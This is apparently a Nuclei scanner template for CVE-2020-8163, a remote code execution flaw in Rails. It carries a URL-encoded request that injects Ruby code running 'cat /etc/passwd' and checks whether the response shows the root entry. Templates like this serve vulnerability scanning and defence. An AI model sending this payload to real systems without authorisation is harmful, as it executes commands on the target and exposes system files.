id: CVE-2020-8163 info: name: Potential Remote Code Execution on Rails author: tim_koopmans severity: high description: Tests for ability to pass user parameters as local variables into partials reference: https://correkt.horse/ruby/2020/08/22/CVE-2020-8163/ tags: cve,cve2020,rails,rce classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.80 cve-id: CVE-2020-8163 cwe-id: CWE-94 requests: - method: GET path: - "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23" matchers-condition: and matchers: - type: status status: - 200 - type: regex regex: - "root:.*:0:0:" part: body